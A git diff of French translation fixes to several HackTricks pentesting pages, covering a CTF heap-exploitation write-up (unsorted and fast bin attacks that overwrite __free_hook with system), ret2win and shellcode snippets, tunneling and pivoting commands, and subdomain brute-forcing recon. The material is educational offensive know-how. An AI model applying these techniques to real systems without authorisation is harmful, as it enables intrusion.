 - La fonction de fusion est vulnérable car si les deux index passés sont le même, elle le réallouera et ensuite le libérera mais renverra un pointeur vers cette région libérée qui peut être utilisée.
-- Par conséquent, **2 chunks sont créés** : **chunk0** qui sera fusionné avec lui-même et chunk1 pour empêcher la consolidation avec le chunk supérieur. Ensuite, la **fonction de fusion est appelée avec chunk0** deux fois, ce qui provoquera une utilisation après libération.
-- Ensuite, la **fonction `view`** est appelée avec l'index 2 (qui est l'index du chunk utilisé après libération), ce qui **divulguera une adresse libc**.
-- Comme le binaire a des protections pour n'allouer que des tailles supérieures à **`global_max_fast`**, aucune fastbin n'est utilisée, une attaque de bin non triée sera utilisée pour réécrire la variable globale `global_max_fast`.
-- Ensuite, il est possible d'appeler la fonction d'édition avec l'index 2 (le pointeur utilisé après libération) et de réécrire le pointeur `bk` pour pointer vers `p64(global_max_fast-0x10)`. Ensuite, la création d'un nouveau chunk utilisera l'adresse libre compromise précédemment (0x20) qui **déclenchera l'attaque de bin non triée** en réécrivant le `global_max_fast` avec une valeur très grande, permettant maintenant de créer des chunks dans les fast bins.
+- Par conséquent, **2 chunks sont créés** : **chunk0** qui sera fusionné avec lui-même et chunk1 pour empêcher la consolidation avec le chunk supérieur. Ensuite, la **fonction de fusion est appelée avec chunk0** deux fois, ce qui provoquera un use after free.
+- Ensuite, la **fonction `view`** est appelée avec l'index 2 (qui est l'index du chunk use after free), ce qui **divulguera une adresse libc**.
+- Comme le binaire a des protections pour n'allouer que des tailles supérieures à **`global_max_fast`**, aucun fastbin n'est utilisé, une attaque d'unsorted bin sera utilisée pour écraser la variable globale `global_max_fast`.
+- Ensuite, il est possible d'appeler la fonction d'édition avec l'index 2 (le pointeur use after free) et d'écraser le pointeur `bk` pour pointer vers `p64(global_max_fast-0x10)`. Ensuite, la création d'un nouveau chunk utilisera l'adresse libre compromise précédemment (0x20) et **déclenchera l'attaque d'unsorted bin** écrasant le `global_max_fast` qui a une très grande valeur, permettant maintenant de créer des chunks dans les fast bins.
 - Maintenant, une **attaque de fast bin** est effectuée :
 - Tout d'abord, il est découvert qu'il est possible de travailler avec des fast **chunks de taille 200** dans l'emplacement **`__free_hook`** :
-- <pre class="language-c"><code class="lang-c">gef➤  p &#x26;__free_hook
-$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
+- <pre class="language-c"><code class="lang-c">gef➤  p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 <strong>0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
 </strong>0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-0x7ff1e9e6076f &#x3C;list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
+0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 </code></pre>
-- Si nous parvenons à obtenir un fast chunk de taille 0x200 à cet emplacement, il sera possible de réécrire un pointeur de fonction qui sera exécuté.
-- Pour cela, un nouveau chunk de taille `0xfc` est créé et la fonction fusionnée est appelée avec ce pointeur deux fois, de cette façon nous obtenons un pointeur vers un chunk libéré de taille `0xfc*2 = 0x1f8` dans la fast bin.
-- Ensuite, la fonction d'édition est appelée dans ce chunk pour modifier l'adresse **`fd`** de cette fast bin pour pointer vers la fonction **`__free_hook`** précédente.
-- Ensuite, un chunk de taille `0x1f8` est créé pour récupérer de la fast bin le chunk inutile précédent afin qu'un autre chunk de taille `0x1f8` soit créé pour obtenir un chunk de fast bin dans le **`__free_hook`** qui est réécrit avec l'adresse de la fonction **`system`**.
+- Si nous parvenons à obtenir un fast chunk de taille 0x200 à cet emplacement, il sera possible d'écraser un pointeur de fonction qui sera exécuté.
+- Pour cela, un nouveau chunk de taille `0xfc` est créé et la fonction de fusion est appelée avec ce pointeur deux fois, de cette façon nous obtenons un pointeur vers un chunk libéré de taille `0xfc*2 = 0x1f8` dans le fast bin.
+- Ensuite, la fonction d'édition est appelée dans ce chunk pour modifier l'adresse **`fd`** de ce fast bin pour pointer vers la fonction **`__free_hook`** précédente.
+- Ensuite, un chunk de taille `0x1f8` est créé pour récupérer du fast bin le chunk inutile précédent, puis un autre chunk de taille `0x1f8` est créé pour obtenir un fast bin chunk dans le **`__free_hook`** qui est écrasé avec l'adresse de la fonction **`system`**.
 - Et enfin, un chunk contenant la chaîne `/bin/sh\x00` est libéré en appelant la fonction de suppression, déclenchant la fonction **`__free_hook`** qui pointe vers system avec `/bin/sh\x00` comme paramètre.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-- Un autre exemple d'abus d'un débordement de 1B pour consolider des chunks dans la bin non triée et obtenir une divulgation d'informations libc, puis effectuer une attaque de fast bin pour réécrire le malloc hook avec une adresse de gadget.
+- Un autre exemple d'abus d'un débordement de 1B pour consolider des chunks dans l'unsorted bin et obtenir une divulgation d'informations libc, puis effectuer une attaque de fast bin pour écraser malloc hook avec une adresse one gadget.
 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
 - Nous ne pouvons allouer que des chunks de taille supérieure à `0x100`.
-- Réécrire `global_max_fast` en utilisant une attaque de bin non triée (fonctionne 1/16 fois en raison de l'ASLR, car nous devons modifier 12 bits, mais nous devons modifier 16 bits).
+- Écraser `global_max_fast` en utilisant une attaque d'unsorted bin (fonctionne 1/16 fois en raison de l'ASLR, car nous devons modifier 12 bits, mais nous devons modifier 16 bits).
 - Attaque de fast bin pour modifier un tableau global de chunks. Cela donne une primitive de lecture/écriture arbitraire, ce qui permet de modifier le GOT et de faire pointer certaines fonctions vers `system`.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md

@@ -82,7 +82,7 @@ De même, si nous savons qu'une fonction renvoie l'adresse où le shellcode est
 
 ### Exemple
 
-Vous pouvez trouver quelques exemples ici : 
+Vous pouvez trouver quelques exemples ici :
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
 - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
@@ -135,7 +135,7 @@ do_stuff(2)
 return 0;
 }
 ```
-En vérifiant le désassemblage de la fonction, il est possible de voir que l'**adresse du tampon** (vulnérable au bof et **contrôlée par l'utilisateur**) est **stockée dans `x0`** avant de revenir du débordement de tampon :
+Vérifiant le désassemblage de la fonction, il est possible de voir que l'**adresse du tampon** (vulnérable au bof et **contrôlée par l'utilisateur**) est **stockée dans `x0`** avant de revenir de l'overflow de tampon :
 
 <figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
 
@@ -143,7 +143,7 @@ Il est également possible de trouver le gadget **`br x0`** dans la fonction **`
 
 <figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
 
-Nous allons utiliser ce gadget pour y sauter car le binaire est compilé **SANS PIE.** En utilisant un motif, il est possible de voir que l'**offset du débordement de tampon est 80**, donc l'exploit serait :
+Nous allons utiliser ce gadget pour y sauter car le binaire est compilé **SANS PIE.** En utilisant un motif, il est possible de voir que l'**offset de l'overflow de tampon est 80**, donc l'exploit serait :
 ```python
 from pwn import *
 

src/binary-exploitation/stack-overflow/ret2win/README.md

@@ -8,7 +8,7 @@ Les défis **Ret2win** sont une catégorie populaire dans les compétitions **Ca
 
 ### Exemple C
 
-Considérons un simple programme C avec une vulnérabilité et une fonction `win` que nous avons l'intention d'appeler :
+Considérons un programme C simple avec une vulnérabilité et une fonction `win` que nous avons l'intention d'appeler :
 ```c
 #include <stdio.h>
 #include <string.h>
@@ -37,7 +37,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 - `-no-pie`: Désactiver l'exécutable indépendant de la position pour s'assurer que l'adresse de la fonction `win` ne change pas.
 - `-o vulnerable`: Nommer le fichier de sortie `vulnerable`.
 
-### Python Exploit utilisant Pwntools
+### Exploit Python utilisant Pwntools
 
 Pour l'exploit, nous utiliserons **pwntools**, un puissant framework CTF pour écrire des exploits. Le script d'exploit créera une charge utile pour déborder le tampon et écraser l'adresse de retour avec l'adresse de la fonction `win`.
 ```python
@@ -63,13 +63,13 @@ Pour trouver l'adresse de la fonction `win`, vous pouvez utiliser **gdb**, **obj
 ```sh
 objdump -d vulnerable | grep win
 ```
-Cette commande vous montrera l'assemblage de la fonction `win`, y compris son adresse de départ.&#x20;
+Cette commande vous montrera l'assemblage de la fonction `win`, y compris son adresse de départ.
 
 Le script Python envoie un message soigneusement élaboré qui, lorsqu'il est traité par la `vulnerable_function`, déborde le tampon et écrase l'adresse de retour sur la pile avec l'adresse de `win`. Lorsque `vulnerable_function` retourne, au lieu de retourner à `main` ou de sortir, il saute à `win`, et le message est imprimé.
 
 ## Protections
 
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée. Dans certains cas, lorsque la fonction qui cause le débordement est `read` ou similaire, vous pouvez faire un **Partial Overwrite** de 1 ou 2 octets pour changer l'adresse de retour afin qu'elle soit la fonction win. En raison du fonctionnement de l'ASLR, les trois derniers nibbles hexadécimaux ne sont pas randomisés, donc il y a une **chance de 1/16** (1 nibble) d'obtenir la bonne adresse de retour.
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée. Dans certains cas, lorsque la fonction qui cause le débordement est `read` ou similaire, vous pouvez faire un **Partial Overwrite** de 1 ou 2 octets pour changer l'adresse de retour afin qu'elle soit la fonction win. En raison de la façon dont fonctionne l'ASLR, les trois derniers nibbles hexadécimaux ne sont pas randomisés, donc il y a une **chance de 1/16** (1 nibble) d'obtenir la bonne adresse de retour.
 - [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) doivent également être désactivés sinon l'adresse de retour EIP compromise ne sera jamais suivie.
 
 ## Autres exemples & Références
@@ -82,7 +82,7 @@ Le script Python envoie un message soigneusement élaboré qui, lorsqu'il est tr
 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
 - 64 bits, pas d'ASLR
 - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
-- 32 bits, pas d'ASLR, double petit débordement, premier à déborder la pile et agrandir la taille du second débordement
+- 32 bits, pas d'ASLR, double petit débordement, premier pour déborder la pile et augmenter la taille du second débordement
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 - 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écraser l'adresse `fflush` avec la fonction win (ret2win)
 - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)

src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md

@@ -8,7 +8,7 @@ Trouvez une introduction à arm64 dans :
 ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
 {{#endref}}
 
-## Code 
+## Code
 ```c
 #include <stdio.h>
 #include <unistd.h>
@@ -37,7 +37,7 @@ clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
 
 Cet exemple a été créé en utilisant [**GEF**](https://github.com/bata24/gef) :
 
-Lancez gdb avec gef, créez un motif et utilisez-le :
+Démarrez gdb avec gef, créez un motif et utilisez-le :
 ```bash
 gdb -q ./ret2win
 pattern create 200
@@ -113,7 +113,7 @@ p.close()
 
 ### Off-by-1
 
-En réalité, cela va plutôt ressembler à un off-by-2 dans le PC stocké dans la pile. Au lieu d'écraser toute l'adresse de retour, nous allons écraser **seulement les 2 derniers octets** avec `0x06c4`.
+En fait, cela va plutôt ressembler à un off-by-2 dans le PC stocké dans la pile. Au lieu d'écraser toute l'adresse de retour, nous allons écraser **uniquement les 2 derniers octets** avec `0x06c4`.
 ```python
 from pwn import *
 
@@ -144,7 +144,7 @@ Vous pouvez trouver un autre exemple off-by-one en ARM64 dans [https://8ksec.io/
 
 ### Off-by-2
 
-Sans une fuite, nous ne connaissons pas l'adresse exacte de la fonction gagnante, mais nous pouvons connaître le décalage de la fonction par rapport au binaire et sachant que l'adresse de retour que nous écrasons pointe déjà vers une adresse proche, il est possible de fuir le décalage vers la fonction win (**0x7d4**) dans ce cas et d'utiliser simplement ce décalage :
+Sans un leak, nous ne connaissons pas l'adresse exacte de la fonction gagnante, mais nous pouvons connaître le décalage de la fonction par rapport au binaire et sachant que l'adresse de retour que nous écrasons pointe déjà vers une adresse proche, il est possible de leak le décalage vers la fonction win (**0x7d4**) dans ce cas et d'utiliser simplement ce décalage :
 
 <figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
 ```python

src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md

@@ -8,7 +8,7 @@ Trouvez une introduction à arm64 dans :
 ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
 {{#endref}}
 
-## Code 
+## Code
 ```c
 #include <stdio.h>
 #include <unistd.h>
@@ -27,7 +27,7 @@ Compiler sans pie, canary et nx :
 ```bash
 clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
 ```
-## Pas d'ASLR & Pas de canari - Débordement de pile&#x20;
+## Pas d'ASLR & Pas de canari - Débordement de pile
 
 Pour arrêter l'ASLR, exécutez :
 ```bash
@@ -68,6 +68,6 @@ p.interactive()
 ```
 La seule chose "compliquée" à trouver ici serait l'adresse dans la pile à appeler. Dans mon cas, j'ai généré l'exploit avec l'adresse trouvée en utilisant gdb, mais ensuite, lors de l'exploitation, cela n'a pas fonctionné (car l'adresse de la pile a légèrement changé).
 
-J'ai ouvert le **`fichier core`** généré (`gdb ./bog ./core`) et vérifié la véritable adresse du début du shellcode.
+J'ai ouvert le fichier **`core`** généré (`gdb ./bog ./core`) et vérifié la véritable adresse du début du shellcode.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/generic-hacking/tunneling-and-port-forwarding.md

@@ -145,7 +145,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
 ### rPort2Port
 
 > [!WARNING]
-> Dans ce cas, le **port est ouvert sur l'hôte beacon**, pas sur le Team Server, et le trafic est envoyé au Team Server et de là à l'hôte:port indiqué.
+> Dans ce cas, le **port est ouvert dans l'hôte beacon**, pas dans le Team Server et le trafic est envoyé au Team Server et de là à l'hôte:port indiqué.
 ```bash
 rportfwd [bind port] [forward host] [forward port]
 rportfwd stop [bind port]
@@ -246,7 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
 ```bash
 victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
 ```
-Pivot through **NTLM proxy**
+Pivoter à travers **NTLM proxy**
 ```bash
 victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
 ```
@@ -346,7 +346,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
 Vous devez avoir **un accès RDP sur le système**.\
 Téléchargez :
 
-1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Cet outil utilise les `Dynamic Virtual Channels` (`DVC`) de la fonctionnalité Remote Desktop Service de Windows. DVC est responsable de **l'acheminement des paquets sur la connexion RDP**.
+1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Cet outil utilise `Dynamic Virtual Channels` (`DVC`) de la fonctionnalité Remote Desktop Service de Windows. DVC est responsable de **l'acheminement des paquets sur la connexion RDP**.
 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
 
 Dans votre ordinateur client, chargez **`SocksOverRDP-Plugin.dll`** comme ceci :
@@ -364,13 +364,13 @@ Maintenant, confirmez sur votre machine (attaquant) que le port 1080 est à l'é
 ```
 netstat -antb | findstr 1080
 ```
-Maintenant, vous pouvez utiliser [**Proxifier**](https://www.proxifier.com/) **pour proxyfier le trafic à travers ce port.**
+Maintenant, vous pouvez utiliser [**Proxifier**](https://www.proxifier.com/) **pour proxy le trafic à travers ce port.**
 
-## Proxyfier les applications GUI Windows
+## Proxifier les applications GUI Windows
 
 Vous pouvez faire naviguer les applications GUI Windows à travers un proxy en utilisant [**Proxifier**](https://www.proxifier.com/).\
 Dans **Profile -> Proxy Servers**, ajoutez l'IP et le port du serveur SOCKS.\
-Dans **Profile -> Proxification Rules**, ajoutez le nom du programme à proxyfier et les connexions aux IP que vous souhaitez proxyfier.
+Dans **Profile -> Proxification Rules**, ajoutez le nom du programme à proxifier et les connexions aux IP que vous souhaitez proxifier.
 
 ## Contournement du proxy NTLM
 
@@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
 ## ngrok
 
 [**ngrok**](https://ngrok.com/) **est un outil pour exposer des solutions à Internet en une ligne de commande.**\
-_&#x45;xposition URI sont comme:_ **UID.ngrok.io**
+_Les URI d'exposition sont comme :_ **UID.ngrok.io**
 
 ### Installation
 

src/generic-methodologies-and-resources/external-recon-methodology/README.md

@@ -27,8 +27,8 @@ Un numéro de système autonome (**ASN**) est un **numéro unique** attribué à
 Un **AS** se compose de **blocs** d'**adresses IP** qui ont une politique clairement définie pour accéder aux réseaux externes et sont administrés par une seule organisation mais peuvent être composés de plusieurs opérateurs.
 
 Il est intéressant de trouver si la **société a attribué un ASN** pour trouver ses **plages IP.** Il sera intéressant de réaliser un **test de vulnérabilité** contre tous les **hôtes** dans le **champ d'application** et de **chercher des domaines** à l'intérieur de ces IP.\
-Vous pouvez **chercher** par nom de société, par **IP** ou par **domaine** dans [**https://bgp.he.net/**](https://bgp.he.net)**.**\
-**Selon la région de la société, ces liens pourraient être utiles pour rassembler plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique Latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages IP et Whois)** apparaissent déjà dans le premier lien.
+Vous pouvez **chercher** par **nom** d'entreprise, par **IP** ou par **domaine** dans [**https://bgp.he.net/**](https://bgp.he.net)**.**\
+**Selon la région de l'entreprise, ces liens pourraient être utiles pour rassembler plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique Latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages IP et Whois)** apparaissent déjà dans le premier lien.
 ```bash
 #You can try "automate" this with amass, but it's not very recommended
 amass intel -org tesla
@@ -58,7 +58,7 @@ Vous pouvez trouver l'IP et l'ASN d'un domaine en utilisant [http://ipv4info.com
 
 À ce stade, nous connaissons **tous les actifs à l'intérieur du périmètre**, donc si vous y êtes autorisé, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\
 De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et selon ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment effectuer un pentesting sur plusieurs services possibles en cours d'exécution.\
-**De plus, il pourrait être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et** de mots de passe **par défaut et essayer de** brute-forcer des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
+**Il pourrait également être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et de** mots de passe **par défaut et essayer de** bruteforcer des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
 
 ## Domaines
 
@@ -139,11 +139,11 @@ fhash = mmh3.hash(favicon)
 print(f"{url} : {fhash}")
 return fhash
 ```
-### **Droits d'auteur / Chaîne unique**
+### **Copyright / Chaîne Uniq**
 
-Recherchez dans les pages web **des chaînes qui pourraient être partagées entre différents sites de la même organisation**. La **chaîne de droits d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne dans **google**, dans d'autres **navigateurs** ou même dans **shodan** : `shodan search http.html:"Copyright string"`
+Recherchez dans les pages web **des chaînes qui pourraient être partagées entre différents sites de la même organisation**. La **chaîne de copyright** pourrait être un bon exemple. Ensuite, recherchez cette chaîne dans **google**, dans d'autres **navigateurs** ou même dans **shodan** : `shodan search http.html:"Copyright string"`
 
-### **Temps CRT**
+### **CRT Time**
 
 Il est courant d'avoir un travail cron tel que
 ```bash
@@ -163,15 +163,15 @@ Apparemment, il est courant que des personnes assignent des sous-domaines à des
 
 [**Ce post**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **crée une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine, et **cherche dans Virustotal des enregistrements de sous-domaines** pointant vers elle.
 
-### **Autres moyens**
+### **Autres méthodes**
 
 **Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine chaque fois que vous trouvez un nouveau domaine.**
 
 **Shodan**
 
-Comme vous connaissez déjà le nom de l'organisation propriétaire de l'espace IP. Vous pouvez rechercher ces données dans shodan en utilisant : `org:"Tesla, Inc."` Vérifiez les hôtes trouvés pour de nouveaux domaines inattendus dans le certificat TLS.
+Comme vous connaissez déjà le nom de l'organisation propriétaire de l'espace IP. Vous pouvez rechercher ces données dans Shodan en utilisant : `org:"Tesla, Inc."` Vérifiez les hôtes trouvés pour de nouveaux domaines inattendus dans le certificat TLS.
 
-Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir le **nom de l'organisation** et ensuite rechercher ce nom dans les **certificats TLS** de toutes les pages web connues par **shodan** avec le filtre : `ssl:"Tesla Motors"` ou utiliser un outil comme [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
+Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir le **nom de l'organisation** et ensuite rechercher ce nom dans les **certificats TLS** de toutes les pages web connues par **Shodan** avec le filtre : `ssl:"Tesla Motors"` ou utiliser un outil comme [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
 
 **Assetfinder**
 
@@ -181,8 +181,8 @@ Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir
 
 Vérifiez pour une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais qu'elle **a perdu la propriété**. Il suffit de l'enregistrer (si assez bon marché) et d'informer l'entreprise.
 
-Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte d'actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour "les attaquer"**.\
-_Notez que parfois le domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
+Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte d'actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
+_Notez que parfois le domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
 
 ## Sous-domaines
 
@@ -250,7 +250,7 @@ vita -d tesla.com
 ```bash
 theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
 ```
-Il existe **d'autres outils/APIs intéressants** qui, même s'ils ne sont pas directement spécialisés dans la recherche de sous-domaines, pourraient être utiles pour trouver des sous-domaines, comme :
+Il existe **d'autres outils/API intéressants** qui, même s'ils ne sont pas directement spécialisés dans la recherche de sous-domaines, pourraient être utiles pour trouver des sous-domaines, comme :
 
 - [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utilise l'API [https://sonar.omnisint.io](https://sonar.omnisint.io) pour obtenir des sous-domaines
 ```bash
@@ -282,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
 }
 crt tesla.com
 ```
-- [**gau**](https://github.com/lc/gau)**:** récupère les URL connues d'Open Threat Exchange d'AlienVault, de la Wayback Machine et de Common Crawl pour un domaine donné.
+- [**gau**](https://github.com/lc/gau)**:** récupère les URL connues de l'Open Threat Exchange d'AlienVault, de la Wayback Machine et de Common Crawl pour un domaine donné.
 ```bash
 # Get subdomains from GAUs found URLs
 gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules
 make_brute_list.sh adobe.rules adobe.brute
 puredns resolve adobe.brute --write adobe.valid
 ```
-- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ est un fuzzer de brute-force de sous-domaines associé à un algorithme guidé par la réponse DNS extrêmement simple mais efficace. Il utilise un ensemble de données d'entrée fournies, comme une liste de mots sur mesure ou des enregistrements DNS/TLS historiques, pour synthétiser avec précision des noms de domaine correspondants et les étendre encore plus dans une boucle basée sur les informations recueillies lors de l'analyse DNS.
+- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ est un fuzzer de brute-force de sous-domaines associé à un algorithme guidé par les réponses DNS, extrêmement simple mais efficace. Il utilise un ensemble de données d'entrée fournies, comme une liste de mots sur mesure ou des enregistrements DNS/TLS historiques, pour synthétiser avec précision des noms de domaine correspondants et les étendre encore plus dans une boucle basée sur les informations recueillies lors de l'analyse DNS.
 ```
 echo www | subzuf facebook.com
 ```
@@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
 
 ### **VHosts / Hôtes virtuels**
 
-Si vous avez trouvé une adresse IP contenant **une ou plusieurs pages web** appartenant à des sous-domaines, vous pourriez essayer de **trouver d'autres sous-domaines avec des sites sur cette IP** en recherchant dans **des sources OSINT** des domaines sur une IP ou en **brute-forçant les noms de domaine VHost sur cette IP**.
+Si vous avez trouvé une adresse IP contenant **une ou plusieurs pages web** appartenant à des sous-domaines, vous pourriez essayer de **trouver d'autres sous-domaines avec des sites sur cette IP** en recherchant dans **des sources OSINT** des domaines sur une IP ou en **bruteforçant les noms de domaine VHost sur cette IP**.
 
 #### OSINT
 
@@ -421,7 +421,7 @@ Vous pouvez trouver quelques **VHosts dans des IPs en utilisant** [**HostHunter*
 
 **Brute Force**
 
-Si vous soupçonnez qu'un sous-domaine peut être caché sur un serveur web, vous pourriez essayer de le brute-forcer :
+Si vous soupçonnez qu'un sous-domaine peut être caché sur un serveur web, vous pourriez essayer de le brute forcer :
 ```bash
 ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
 
@@ -447,7 +447,7 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
 ### **Brute Force des Buckets**
 
 En recherchant des **sous-domaines**, gardez un œil pour voir s'ils **pointent** vers un type de **bucket**, et dans ce cas, [**vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
-De plus, comme à ce stade vous connaîtrez tous les domaines dans le périmètre, essayez de [**brute forcer les noms de buckets possibles et de vérifier les permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html).
+De plus, à ce stade, vous connaîtrez tous les domaines dans le périmètre, essayez de [**brute forcer les noms de buckets possibles et de vérifier les permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 
 ### **Surveillance**
 
@@ -458,15 +458,15 @@ Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont cr
